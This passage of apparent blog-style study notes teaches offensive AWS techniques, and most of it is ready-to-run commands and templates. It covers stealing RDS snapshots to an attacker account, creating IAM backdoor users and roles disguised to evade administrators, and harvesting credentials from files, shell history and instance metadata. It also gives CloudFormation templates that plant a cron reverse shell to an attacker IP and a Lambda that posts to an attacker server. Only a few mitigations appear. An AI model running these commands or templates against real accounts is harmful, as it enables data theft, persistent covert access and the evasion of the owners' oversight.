objects in an S3 bucket even when the bucket itself is private.\nPresigned URL example\n1 aws s3 presign s3://private-bucket/secret.txt This command generates a URL that allows access to secret.txt for a short time. The URL may look like this: 1 https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256\u0026amp;X-Amz-Credent Attack method\nIf an attacker obtains this presigned URL (through logs, the browser console, leaked code, and so on), they can download the file even if the S3 bucket is private!\n(1) Find presigned URLs\nSearch the frontend code of a web application: Open the browser\u0026rsquo;s F12 developer tools and search for \u0026quot;s3.amazonaws.com\u0026quot; Search log files 1 grep -i \u0026#34;amazonaws.com\u0026#34; /var/log/*.log Search Git repositories 1 git grep \u0026#34;s3.amazonaws.com\u0026#34; (2) Test whether the file can be accessed\n1 curl -I \u0026#34;https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=AWS4-HMAC-SHA256\u0026amp;X-Amz-Credential=...\u0026#34; If it returns 200 OK, the presigned URL is still valid and the attacker can download the file: 1 curl -o stolen-secret.txt \u0026#34;https://private-bucket.s3.amazonaws.com/secret.txt?X-Amz-Algorithm=...\u0026#34; Both of these techniques depend on misconfiguration. The attacker has to find those mistakes, but the underlying ideas are simple and easy to understand.\nData Exfiltration and Persistence Downloading Sensitive Files from S3 Goal:\nGo beyond simply enumerating buckets and pinpoint sensitive files (database backups, configuration files, logs, etc.). Even if the bucket itself is restricted, files with misconfigured ACLs may still be downloaded directly! Common types of sensitive files:\nbackup.zip / db-dump.sql (database backups) config.json / .env (API keys \u0026amp; configuration files) access.log / debug.log (log files that may contain AWS keys) Test whether a known sensitive file can be downloaded\n1 aws s3 cp s3://target-bucket/backup.zip . --no-sign-request If the file can be downloaded: the ACL for backup.zip is misconfigured. If it returns 403 Forbidden: s3:GetObject is denied. Use s3scanner to automatically scan for sensitive files\nInstall s3scanner\n1 2 3 git clone https://github.com/sa7mon/S3Scanner.git cd S3Scanner pip3 install -r requirements.txt 📌 Use s3scanner to scan for sensitive files in a bucket\n1 python3 s3scanner.py --bucket target-bucket --wordlist sensitive-files.txt wordlist.txt may contain:\n1 2 3 4 5 6 backup.zip config.json .env db-dump.sql access.log error.log If brute forcing produces a 200 response, the file can be downloaded. Although this is somewhat similar to the previous method, the logic is different: this one is essentially brute forcing.\nStealing RDS Database Snapshots Exploit an AWS RDS misconfiguration to create a database snapshot and share it with an attacker\u0026rsquo;s account, thereby obtaining the database data.\nAmazon RDS (Relational Database Service) supports creating snapshots (Snapshot) for backing up and restoring databases.\nRDS snapshots can be shared (modify-db-snapshot-attribute). If this is misconfigured, an attacker can steal the database data. Even without direct access to RDS, an attacker can still steal the database through a snapshot-sharing vulnerability. 1. Check Whether an RDS Snapshot Can Be Created If an attacker gains access to an AWS account, they can try to create an RDS snapshot:\n1 aws rds create-db-snapshot --db-instance-identifier victim-db --db-snapshot-identifier stolen-snapshot Explanation:\n--db-instance-identifier victim-db: the target RDS instance. --db-snapshot-identifier stolen-snapshot: creates the stolen-snapshot snapshot. If the command succeeds, it means the current identity has the rds:CreateDBSnapshot permission and can create snapshots.\n2. View RDS Snapshots in the Current Account If the attacker cannot create a snapshot, they can try to find existing snapshots:\n1 aws rds describe-db-snapshots Example response:\n1 2 3 4 5 6 7 8 9 10 { \u0026#34;DBSnapshots\u0026#34;: [ { \u0026#34;DBSnapshotIdentifier\u0026#34;: \u0026#34;prod-db-snapshot\u0026#34;, \u0026#34;DBInstanceIdentifier\u0026#34;: \u0026#34;victim-db\u0026#34;, \u0026#34;Status\u0026#34;: \u0026#34;available\u0026#34;, \u0026#34;SnapshotCreateTime\u0026#34;: \u0026#34;2024-03-06T12:00:00Z\u0026#34; } ] } If a snapshot exists, the attacker can try to share it!\n3. Share the Snapshot with the Attacker\u0026rsquo;s Account If the snapshot policy is misconfigured, the attacker can share it with their own AWS account:\n1 2 3 4 5 6 aws rds modify-db-snapshot-attribute \\ --db-snapshot-identifier prod-db-snapshot \\ --attribute-name restore \\ --values-to-add ATTACKER_AWS_ACCOUNT_ID aws rds modify-db-snapshot-attribute --db-snapshot-identifier prod-db-snapshot --attribute-name restore --values-to-add ATTACKER_AWS_ACCOUNT_ID Explanation:\n--db-snapshot-identifier prod-db-snapshot: the snapshot to share. --attribute-name restore: modifies the snapshot\u0026rsquo;s \u0026ldquo;restore\u0026rdquo; attribute, allowing other accounts to restore the snapshot. --values-to-add: adds the attacker\u0026rsquo;s AWS account ID so that it can access the snapshot. If the command succeeds, the attacker can access the snapshot from their own AWS account!\n4. Restore RDS in the Attacker\u0026rsquo;s Account The attacker signs in to their own AWS account and restores the snapshot:\n1 2 3 aws rds restore-db-instance-from-db-snapshot \\ --db-instance-identifier stolen-db \\ --db-snapshot-identifier prod-db-snapshot If this succeeds, the attacker now has a complete copy of the database!\n5. Copy RDS to Remove the Original Encryption (More Complex) Step 4 lets you restore RDS in the attacker\u0026rsquo;s account, but only if the snapshot is unencrypted. If it is encrypted, it cannot be moved to the attacker\u0026rsquo;s account. Copies are also encrypted by default, and you cannot simply leave the encryption setting blank while making the copy. However, we can create a new KMS key and replace the original encryption during the copy process, giving us control over the KMS key.\nCreate a New KMS Key If you do not have a suitable KMS key, you need to create a new one manually:\n1 aws kms create-key --description \u0026#34;My RDS Key\u0026#34; Then retrieve the KeyId:\n1 aws kms list-keys Response:\n1 2 3 4 5 6 7 { \u0026#34;Keys\u0026#34;: [ { \u0026#34;KeyId\u0026#34;: \u0026#34;abcd1234-5678-efgh-ijkl-9876543210mn\u0026#34; } ] } Copy the Snapshot Using the New KMS Key You need to copy the snapshot using the newly created KMS key:\n1 2 3 4 5 6 aws rds copy-db-snapshot \\ --source-db-snapshot-identifier database-1-snapshot \\ --target-db-snapshot-identifier new-snapshot \\ --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn aws rds copy-db-snapshot --source-db-snapshot-identifier database-1-snapshot --target-db-snapshot-identifier new-snapshot --kms-key-id abcd1234-5678-efgh-ijkl-9876543210mn This way, new-snapshot is still encrypted, but it uses a KMS key that you control!\nAllow the Target Account to Access This KMS Key You need to allow the target AWS account to access this KMS key:\n1 2 3 4 5 6 aws kms create-grant \\ --key-id abcd1234-5678-efgh-ijkl-9876543210mn \\ --grantee-principal arn:aws:iam::650*******:root \\ --operations Decrypt aws kms create-grant --key-id abcd1234-5678-efgh-ijkl-9876543210mn --grantee-principal arn:aws:iam::650*******:root --operations Decrypt This allows the 650 account to decrypt new-snapshot!\nShare the New Snapshot 1 2 3 4 5 6 aws rds modify-db-snapshot-attribute \\ --db-snapshot-identifier new-snapshot \\ --attribute-name restore \\ --values-to-add 6502******* aws rds modify-db-snapshot-attribute --db-snapshot-identifier new-snapshot1 --attribute-name restore --values-to-add 6502******* The last step is a little complicated, so let\u0026rsquo;s try it in practice. As shown below:\nGenerally, steps 1–4 are enough. Step 5 can be used when the target has particularly strict encryption, but it is fairly troublesome. Usually, steps 1–4 are already enough to transfer the snapshot to the attacker, so there is no need for the extra step. That is also why I put it fifth. If encryption prevents the snapshot from being shared, you can add step 5.\nCreating a Backdoor User (Stealthy Backdoor Technique) Create a hidden backdoor user in an AWS account to maintain persistent access. Even if an administrator spots an unusual login and deletes the regular IAM account, the attacker can still retain control of the AWS account.\nSteps for Creating a Backdoor User 1. Create a Discreet IAM User 1 aws iam create-user --user-name support-user Strategy:\nUse AWS-style names (such as aws-support or backup-user) to draw less attention from administrators. Blend it into the existing user list so administrators are less likely to notice it. 2. Create an Access Key for the User 1 aws iam create-access-key --user-name support-user Example output:\n1 2 3 4 5 6 7 8 { \u0026#34;AccessKey\u0026#34;: { \u0026#34;UserName\u0026#34;: \u0026#34;support-user\u0026#34;, \u0026#34;AccessKeyId\u0026#34;: \u0026#34;AKIAIOSFODNN7EXAMPLE\u0026#34;, \u0026#34;SecretAccessKey\u0026#34;: \u0026#34;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\u0026#34;, \u0026#34;Status\u0026#34;: \u0026#34;Active\u0026#34; } } The access key can be used for AWS CLI/API calls. Even if an administrator removes the user\u0026rsquo;s console login access, remote access still works!\n3. Give the User Discreet Administrator Permissions If the attacker attaches AdministratorAccess directly, it is easy to spot:\n1 2 3 aws iam attach-user-policy \\ --user-name support-user \\ --policy-arn arn:aws:iam::aws:policy/AdministratorAccess A way around detection: use an inline policy!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 aws iam put-user-policy \\ --user-name support-user \\ --policy-name HiddenAdminPolicy \\ --policy-document \u0026#39;{ \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Action\u0026#34;: \u0026#34;*\u0026#34;, \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; } ] }\u0026#39; aws iam put-user-policy --user-name support-user --policy-name HiddenAdminPolicy --policy-document \u0026#34;{\\\u0026#34;Version\\\u0026#34;: \\\u0026#34;2012-10-17\\\u0026#34;,\\\u0026#34;Statement\\\u0026#34;: [{\\\u0026#34;Effect\\\u0026#34;: \\\u0026#34;Allow\\\u0026#34;,\\\u0026#34;Action\\\u0026#34;: \\\u0026#34;*\\\u0026#34;,\\\u0026#34;Resource\\\u0026#34;: \\\u0026#34;*\\\u0026#34;}]}\u0026#34; Hide administrator permissions (without directly attaching AdministratorAccess)\nThe difference:\nPolicies attached with attach-user-policy can be viewed directly through list-attached-user-policies, making them easy to spot: 1 aws iam list-attached-user-policies --user-name support-user By contrast, put-user-policy** creates an inline policy, which does not appear in** list-attached-user-policies** by default!** 1 aws iam list-user-policies --user-name support-user It only shows up after a deeper check with get-user-policy:\n1 aws iam get-user-policy --user-name support-user --policy-name HiddenAdminPolicy This means that even if an administrator runs list-attached-user-policies, they will not see anything unusual about the permissions.\n4. Hide the User Further Administrators usually review active IAM users regularly. An attacker can use iam:UpdateLoginProfile to disable password-based login for the user, making it look like a \u0026ldquo;harmless\u0026rdquo; API account (if this returns an error, the user did not have login access in the first place, so there is nothing to disable):\n1 aws iam update-login-profile --user-name support-user --password-reset-required Result:\nThis user cannot log in through the AWS Management Console, but can still use its access key through the API/CLI to control the AWS account! If an administrator only checks users with web login access, they may not notice that this \u0026ldquo;backdoor user\u0026rdquo; still exists! Shadow Account Technique The previous technique targeted users; this one targets IAM roles.\nA shadow account (Shadow User) is an even stealthier backdoor technique. The key ideas are:\nCreate an IAM user that will not appear in list-users Use AWS resource trust relationships so the attacker can access AWS under that account\u0026rsquo;s identity The basic idea behind creating a shadow account\nCreate an IAM role and allow an external account to access it\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 aws iam create-role --role-name backup-support-role --assume-role-policy-document \u0026#39;{ \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Principal\u0026#34;: { \u0026#34;AWS\u0026#34;: \u0026#34;65025******\u0026#34; }, \u0026#34;Action\u0026#34;: \u0026#34;sts:AssumeRole\u0026#34; } ] }\u0026#39; aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document \u0026#39;{ \u0026#34;Version\u0026#34;: \u0026#34;2012-10-17\u0026#34;, \u0026#34;Statement\u0026#34;: [ { \u0026#34;Effect\u0026#34;: \u0026#34;Allow\u0026#34;, \u0026#34;Action\u0026#34;: [ \u0026#34;iam:CreateUser\u0026#34;, \u0026#34;iam:CreateAccessKey\u0026#34;, \u0026#34;iam:ListUsers\u0026#34;, \u0026#34;iam:GetUser\u0026#34;, \u0026#34;iam:ListAttachedUserPolicies\u0026#34;, \u0026#34;iam:ListUserPolicies\u0026#34;, \u0026#34;iam:GetUserPolicy\u0026#34;, \u0026#34;iam:AttachUserPolicy\u0026#34;, \u0026#34;iam:PutUserPolicy\u0026#34;, \u0026#34;s3:ListAllMyBuckets\u0026#34;, \u0026#34;s3:ListBucket\u0026#34;, \u0026#34;s3:GetObject\u0026#34; ], \u0026#34;Resource\u0026#34;: \u0026#34;*\u0026#34; } ] }\u0026#39; aws iam create-role --role-name backup-support-role --assume-role-policy-document \u0026#34;{\\\u0026#34;Version\\\u0026#34;: \\\u0026#34;2012-10-17\\\u0026#34;,\\\u0026#34;Statement\\\u0026#34;: [{\\\u0026#34;Effect\\\u0026#34;: \\\u0026#34;Allow\\\u0026#34;,\\\u0026#34;Principal\\\u0026#34;:{ \\\u0026#34;AWS\\\u0026#34;: \\\u0026#34;65025******\\\u0026#34;},\\\u0026#34;Action\\\u0026#34;: \\\u0026#34;sts:AssumeRole\\\u0026#34; }]}\u0026#34; aws iam put-role-policy --role-name backup-support-role --policy-name ShadowUserMinimal --policy-document \u0026#34;{ \\\u0026#34;Version\\\u0026#34;: \\\u0026#34;2012-10-17\\\u0026#34;, \\\u0026#34;Statement\\\u0026#34;: [ { \\\u0026#34;Effect\\\u0026#34;: \\\u0026#34;Allow\\\u0026#34;, \\\u0026#34;Action\\\u0026#34;: [ \\\u0026#34;iam:CreateUser\\\u0026#34;, \\\u0026#34;iam:CreateAccessKey\\\u0026#34;, \\\u0026#34;iam:ListUsers\\\u0026#34;, \\\u0026#34;iam:GetUser\\\u0026#34;, \\\u0026#34;iam:ListAttachedUserPolicies\\\u0026#34;, \\\u0026#34;iam:ListUserPolicies\\\u0026#34;, \\\u0026#34;iam:GetUserPolicy\\\u0026#34;, \\\u0026#34;iam:AttachUserPolicy\\\u0026#34;, \\\u0026#34;iam:PutUserPolicy\\\u0026#34;, \\\u0026#34;s3:ListAllMyBuckets\\\u0026#34;, \\\u0026#34;s3:ListBucket\\\u0026#34;, \\\u0026#34;s3:GetObject\\\u0026#34; ], \\\u0026#34;Resource\\\u0026#34;: \\\u0026#34;*\\\u0026#34; } ] }\u0026#34; Result:\nThe 65025** account can access this role at any time through** sts:AssumeRole, and administrators will not see this backdoor in list-users! Even if an administrator deletes the IAM user created by the attacker, the attacker can still use AssumeRole** to access AWS!** This is pretty interesting.\nIn practice, it simply creates a highly privileged IAM role and configures it to trust an external AWS account ID. That external account can then obtain credentials for the role anytime, from anywhere.\nAdvanced Attack Techniques AWS CLI Credential Leaks Objective: Learn where AWS CLI credentials are stored, the common ways they get leaked, and how leaked AWS access credentials can be used to take control of an AWS account.\nWhere AWS CLI Credentials Are Stored By default, AWS CLI access credentials are stored in the ~/.aws/credentials and ~/.aws/config files under the user\u0026rsquo;s home directory:\n1 cat ~/.aws/credentials Windows path:\n1 type C:\\Users\\USERNAME\\.aws\\credentials Example contents:\n1 2 3 [default] aws_access_key_id = AKIAIOSFODNN7EXAMPLE aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY If an attacker can access this file, they can take full control of the AWS account.\nCommon Ways AWS CLI Credentials Get Leaked 1. Leaks in Source Code Developers often hard-code AWS credentials directly into their code:\n1 2 3 4 5 6 import boto3 aws_access_key_id = \u0026#34;AKIAIOSFODNN7EXAMPLE\u0026#34; aws_secret_access_key = \u0026#34;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\u0026#34; s3 = boto3.client(\u0026#34;s3\u0026#34;, aws_access_key_id=aws_access_key_id, aws_secret_access_key=aws_secret_access_key) If the code is uploaded to GitHub or another code repository, attackers can discover the AWS credentials through GitHub Dorking.\n1 github.com search: \u0026#34;aws_access_key_id filetype:env\u0026#34; Mitigations:\nUse AWS IAM roles instead of exposing an Access Key directly. Enable GitHub Secret Scanning to detect leaked AWS keys. 2. Leaks in Logs AWS keys can accidentally end up in log files. For example:\n1 cat /var/log/syslog | grep \u0026#34;aws_access_key_id\u0026#34; Mitigations:\nDo not write sensitive information to logs. Use AWS Secrets Manager instead of plaintext keys. 3. Shell History If a developer runs AWS CLI commands directly in a terminal:\n1 2 aws configure set aws_access_key_id AKIAIOSFODNN7EXAMPLE aws configure set aws_secret_access_key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY An attacker can retrieve the AWS keys from history:\n1 history | grep aws Mitigations:\nRun history -c to clear the command history. Use export AWS_ACCESS_KEY_ID instead of aws configure to avoid storing credentials in configuration files. 4. Environment Variable Leaks Some servers may store AWS access credentials in environment variables:\n1 2 echo $AWS_ACCESS_KEY_ID echo $AWS_SECRET_ACCESS_KEY If an attacker gains shell access to the server, they can easily steal the AWS credentials.\nMitigations:\nUse IAM roles instead of storing static keys. Configure AWS_SESSION_TOKEN so credentials are short-lived, reducing the risk of long-term exposure. 5. Attacking the AWS Instance Metadata Service (IMDS) On EC2 instances, AWS stores IAM role credentials in IMDS (the Instance Metadata Service):\n1 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ Attack steps:\nRun the following on a compromised EC2 instance: 1 2 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ curl http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0026lt;ROLE_NAME\u0026gt; Retrieve the access keys: 1 2 3 4 5 { \u0026#34;AccessKeyId\u0026#34;: \u0026#34;AKIAIOSFODNN7EXAMPLE\u0026#34;, \u0026#34;SecretAccessKey\u0026#34;: \u0026#34;wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY\u0026#34;, \u0026#34;Token\u0026#34;: \u0026#34;FQoGZXIvYXdzEBIaDE5QTkFERV9TRVJWSUNFE...\u0026#34; } Mitigations:\nEnable IMDSv2 to prevent SSRF attacks: 1 aws ec2 modify-instance-metadata-options --instance-id i-xxxxxxxxxx --http-tokens required Block unauthorized users from accessing 169.254.169.254 1 iptables -A OUTPUT -d 169.254.169.254 -j DROP Exploiting Leaked AWS CLI Credentials Check Whether the Credentials Are Valid Once you obtain an AWS access key, the first step is to check whether it is valid:\n1 aws sts get-caller-identity --access-key AKIAIOSFODNN7EXAMPLE --secret-key wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY If the credentials are valid, the command returns information like this:\n1 2 3 4 5 { \u0026#34;UserId\u0026#34;: \u0026#34;AIDAJQABLZS4A3QDU576Q\u0026#34;, \u0026#34;Account\u0026#34;: \u0026#34;650251703094\u0026#34;, \u0026#34;Arn\u0026#34;: \u0026#34;arn:aws:iam::650251703094:user/victim-user\u0026#34; } Now you know the AWS account ID and username!\nEnumerate Permissions in the AWS Account 1 2 aws iam list-attached-user-policies --user-name victim-user aws iam list-user-policies --user-name victim-user If the account has highly privileged policies, you can perform administrator-level operations.\nEscalate Privileges to Administrator If the credentials have limited permissions, you can try abusing iam:PassRole or sts:AssumeRole:\n1 aws sts assume-role --role-arn arn:aws:iam::650251703094:role/AdminRole --role-session-name AdminSession If sts:AssumeRole succeeds, you can gain administrator privileges!\nEstablish Persistent Backdoor Access 1 2 3 aws iam create-user --user-name attacker-user aws iam create-access-key --user-name attacker-user aws iam attach-user-policy --user-name attacker-user --policy-arn arn:aws:iam::aws:policy/AdministratorAccess Even if the original credentials are revoked, you can still access AWS through attacker-user.\nSummary of AWS CLI Credential Leaks Everything above is pretty common, so I have not gone into too much detail. It should all be fairly easy to follow. Most of it is basic Linux knowledge, and the rest is material we covered earlier.\nMalicious CloudFormation Templates I never covered this in the basics, so this is a good chance to take a look.\nObjective: Use AWS CloudFormation to deploy malicious templates that create backdoor users, modify existing IAM permissions, or even execute remote code in a victim\u0026rsquo;s AWS account.\nAWS CloudFormation lets users automatically create and manage AWS resources through YAML/JSON templatesxxxx, such as:\nCreating IAM roles, S3 buckets, EC2 instances, and more.+ Automatically configuring VPCs, Lambda functions, DynamoDB, and so on. An attacker can use CloudFormation to deploy malicious AWS resources and bypass traditional permission checks!\nThis is extremely dangerous, and it is also a little complicated, so here is the short version. If a role/user has full CloudFormation permissions, that is effectively the same as having permission to create/modify any AWS resource, meaning they can take control of the entire AWS environment. CloudFormation is somewhat similar to Lambda—only somewhat—in that both control AWS resources by uploading something. CloudFormation uploads templates, though, and unlike Lambda, which checks the permissions attached to its role to determine whether it can call an AWS resource, a CloudFormation template can directly call AWS resources including EC2, Lambda, IAM, S3, and so on. For example, everyone knows that calling IAM can create users/roles and grant permissions, but normally your own permissions also need to be sufficiently high. That restriction does not apply here: you only need permission to use CloudFormation itself. You can then create an IAM role/user with administrator privileges or even directly trust another AWS account. That is roughly how it works.\nBelow, I will build templates for several of these services. For now, I will just use templates that are already written instead of learning how to write them; I will study that later together with Lambda.\nWays to attack with malicious CloudFormation templates →\n1. Create a Hidden IAM Backdoor User An attacker can use CloudFormation to create a hidden IAM user and attach administrator permissions:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 AWSTemplateFormatVersion: \u0026#39;2010-09-09\u0026#39; Resources: BackdoorUser: Type: AWS::IAM::User Properties: UserName: \u0026#34;aws-support-bot\u0026#34; BackdoorAccessKey: Type: AWS::IAM::AccessKey Properties: UserName: !Ref BackdoorUser BackdoorPolicy: Type: AWS::IAM::Policy Properties: PolicyName: \u0026#34;HiddenAdminPolicy\u0026#34; Users: - !Ref BackdoorUser PolicyDocument: Version: \u0026#39;2012-10-17\u0026#39; Statement: - Effect: Allow Action: \u0026#34;*\u0026#34; Resource: \u0026#34;*\u0026#34; Outputs: AccessKey: Value: !Ref BackdoorAccessKey Description: \u0026#34;IAM Access Key\u0026#34; SecretKey: Value: !GetAtt BackdoorAccessKey.SecretAccessKey Description: \u0026#34;IAM Secret Key\u0026#34; How to run it\n1 aws cloudformation create-stack --stack-name BackdoorStack --template-body file://backdoor.yaml --capabilities CAPABILITY_NAMED_IAM Result\nCreates the aws-support-bot** user (which looks like an official AWS service account).** Assigns access keys that the attacker can use directly with aws_access_key_id** to log in through the AWS CLI.** Attaches the administrator policy *:*, granting the highest level of access! So where are the keys? They are already defined in the code above and will be stored in Output, neatly solving the problem of not being able to retrieve them when nothing is returned.\nThis example alone is enough to obtain full permissions. The third template, which uses an IAM role, can also obtain full permissions, but I mainly want to discuss the one below—the second method.\n2. Inject a Reverse Shell into EC2 UserData An attacker can use CloudFormation to execute malicious commands when an EC2 instance starts—for example, obtaining a reverse shell through the UserData** field:**\n1 2 3 4 5 6 7 8 9 10 11 12 AWSTemplateFormatVersion: \u0026#39;2010-09-09\u0026#39; Resources: MaliciousEC2: Type: AWS::EC2::Instance Properties: ImageId: \u0026#34;ami-12345678\u0026#34; InstanceType: \u0026#34;t2.micro\u0026#34; UserData: Fn::Base64: | #!/bin/bash echo \u0026#34;*/2 * * * * root bash -i \u0026gt;\u0026amp; /dev/tcp/ATTACKER_IP/PORT 0\u0026gt;\u0026amp;1\u0026#34; \u0026gt;\u0026gt; /etc/crontab systemctl restart cron How to run it\n1 aws cloudformation create-stack --stack-name EC2Backdoor --template-body file://malicious-ec2.yaml Result\nCloudFormation deploys an EC2 instance and executes the reverse shell from its UserData. After the EC2 instance starts, it automatically connects to the attacker\u0026rsquo;s server, establishing persistent remote access. The purpose here is to run the bash command that follows every two minutes to get a reverse shell. The main point to pay attention to is the ImageId above. It corresponds to an AMI ID, which may sound a little abstract, so I will explain it separately.\nFind the relevant AMI ID. What it needs is a template, but why does it have to be a template? The idea is that it creates and runs a new EC2 instance for you. Since it does not know what kind of instance you want, it needs a template ID. You can think of it as the ID of an image. That ID is fixed: whichever one you choose determines which system it creates and starts. The screenshot above shows many systems, so just choose one of their IDs and enter it. Note that this does not modify an existing EC2 instance. Instead, it selects a system—one of the built-in systems—creates it for you with the defaults, starts it, and then runs the commands written in your template. Our command writes a cron job, so it runs when the machine starts. That is all there is to it. Honestly, it feels a bit half-baked to me, but it does demonstrate just how dangerous CloudFormation permissions can be.\n1 2 3 4 5 6 7 8 9 10 11 12 AWSTemplateFormatVersion: \u0026#39;2010-09-09\u0026#39; Resources: MaliciousEC2: Type: AWS::EC2::Instance Properties: ImageId: \u0026#34;ami-0ef0a3b4303b17ec5\u0026#34; InstanceType: \u0026#34;t2.micro\u0026#34; UserData: Fn::Base64: | #!/bin/bash echo \u0026#34;*/2 * * * * root bash -i \u0026gt;\u0026amp; /dev/tcp/192.***.***.***/53 0\u0026gt;\u0026amp;1\u0026#34; \u0026gt;\u0026gt; /etc/crontab systemctl restart cron That is my template above, filled in and ready to go.\n3. Create an IAM Role and Allow the Attacker to AssumeRole An attacker can create an IAM role and allow themselves to AssumeRole, giving them long-term access to the AWS account:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 AWSTemplateFormatVersion: \u0026#39;2010-09-09\u0026#39; Resources: HiddenIAMRole: Type: AWS::IAM::Role Properties: RoleName: \u0026#34;AWS-Support-Role\u0026#34; AssumeRolePolicyDocument: Version: \u0026#34;2012-10-17\u0026#34; Statement: - Effect: Allow Principal: AWS: \u0026#34;ATTACKER_AWS_ACCOUNT_ID\u0026#34; Action: \u0026#34;sts:AssumeRole\u0026#34; Policies: - PolicyName: \u0026#34;HiddenAdminPolicy\u0026#34; PolicyDocument: Version: \u0026#34;2012-10-17\u0026#34; Statement: - Effect: Allow Action: \u0026#34;*\u0026#34; Resource: \u0026#34;*\u0026#34; How to run it\n1 aws cloudformation create-stack --stack-name IAMBackdoor --template-body file://hidden-role.yaml Result\nCreates the AWS-Support-Role** role, which looks like an official AWS support account and is less likely to make an administrator suspicious.** The attacker\u0026rsquo;s account can use sts:AssumeRole** at any time. Even if an administrator deletes the users in the AWS account, the attacker can still access AWS.** 4. Inject Malicious Code Through Lambda An attacker can use CloudFormation to deploy a malicious Lambda function and execute code inside AWS:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 AWSTemplateFormatVersion: \u0026#39;2010-09-09\u0026#39; Resources: MaliciousLambda: Type: AWS::Lambda::Function Properties: FunctionName: \u0026#34;AWSMonitor\u0026#34; Runtime: \u0026#34;python3.8\u0026#34; Role: \u0026#34;arn:aws:iam::123456789012:role/LambdaExecutionRole\u0026#34; Handler: \u0026#34;index.lambda_handler\u0026#34; Code: ZipFile: | import os import subprocess def lambda_handler(event, context): subprocess.call(\u0026#34;curl -X POST -d \u0026#39;AWS Access Compromised\u0026#39; http://ATTACKER_SERVER\u0026#34;, shell=True) return \u0026#34;Executed\u0026#34; How to run it\n1 aws cloudformation create-stack --stack-name LambdaBackdoor --template-body file://malicious-lambda.yaml Result\nCreates the AWSMonitor** Lambda function, disguised as an AWS monitoring tool so that administrators are less likely to notice it.** When Lambda runs, it sends data to the attacker\u0026rsquo;s server, and the attacker can use it to execute remote commands. One more point here: the important thing with CloudFormation is knowing how to use it. There is no need to study it obsessively in depth; you could even have AI produce the result. The boto3 library in Lambda is different, though. You need to use it often, it can do a lot of things, and you absolutely have to learn it.\nECS Container Escape ECS is a container orchestration service provided by AWS. You can think of it as AWS\u0026rsquo;s version of a Docker management platform, similar to Kubernetes (though not exactly the same).\nECS escape mainly involves two modes:\nECS on EC2: ECS running on EC2, where the attack target is the underlying EC2 instance. ECS on Fargate: A serverless way to run ECS, where the goal is to escape to other AWS resources (such as IAM, S3, and so on). Outline\n1. Privileged container mode (I won\u0026rsquo;t reproduce native docker penetration techniques here, only set up the environment to understand the architecture)\nGoal: Use a privileged container running on ECS to escape to the host Attack methods:\nIf the task definition enables privileged: true, you can directly use chroot to enter the host Use cap_add: SYS_ADMIN to access the ECS host\u0026rsquo;s cgroup or /proc Run a --privileged container to gain root privileges on the ECS host 2. Abusing ECS task definitions (key section)\nGoal: Execute malicious commands through a misconfigured ECS task definition Attack methods:\nDeploy a malicious image (containing a reverse shell) Add credentials as environment variables in the task definition (to steal AWS access keys) Mount /var/run/docker.sock to access the host\u0026rsquo;s Docker API (Docker API escape) 3. Mount escape (I won\u0026rsquo;t reproduce native docker penetration techniques here)\nGoal: Use --mount type=bind to access the ECS host\u0026rsquo;s file system Attack methods:\nMount /root/.aws/credentials to access AWS credentials Mount the /etc/ directory to obtain sensitive configuration from the ECS host Mount /var/lib/docker/ to directly manipulate the Docker file system and access other containers 4. API Credential leakage (I\u0026rsquo;ve already studied this, so I won\u0026rsquo;t reproduce it)\nGoal: ECS tasks may contain AWS IAM role credentials, allowing lateral movement through the cloud environment Attack methods:\nAccess the AWS metadata service through an ECS container 1 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ Obtain the ECS task\u0026rsquo;s IAM Role and use aws configure to access the AWS API Steal AWS access keys and try to access S3, EC2, and DynamoDB Privileged Container Escape How It Works Use privileged mode (--privileged), mount /, and access the ECS host\nEnvironment Setup I originally copied and pasted all the steps so you could simply follow them one by one, but it wasn\u0026rsquo;t actually that easy. I got stuck here for an entire day and spent that day learning how ECS works. Its architecture is seriously impressive, so it took me quite a while to learn. That\u0026rsquo;s exactly why I deleted the original written steps and used images to show the environment setup instead. If you\u0026rsquo;re interested in this service, you can go through every step I took and learn how it works. This isn\u0026rsquo;t a basic concept, and once you\u0026rsquo;ve learned the steps below, you\u0026rsquo;ll pretty much know how to use it.\nJust click Create. The next step is the task definition. Once the setup is complete, I\u0026rsquo;ll explain how these pieces connect to one another and what the architecture looks like.\nJust click Create. Next, enable privileged mode (there is no option for privileged mode, so you can only edit the json).\n1 sleep,infinity Just click Create. A single wrong step can cause it to fail. Pay particular attention to adding the comma in the command field—I was stuck on this for quite a while too.\nNow that we\u0026rsquo;ve reached this point, let me first explain the overall process. When creating the cluster, select the free EC2 option, open port 22 in the security group, and set the minimum value to 1. This way, an EC2 instance will be created automatically when you finish creating the cluster. What happens if the minimum is still left at the default value of 0? You either have to create an EC2 instance yourself and add it to ECS, or every time you start a task like the one above, it will create an EC2 instance by itself and run the task. You can see how troublesome it would be to start another EC2 instance as the physical machine for docker when the minimum value is 0. That finishes the 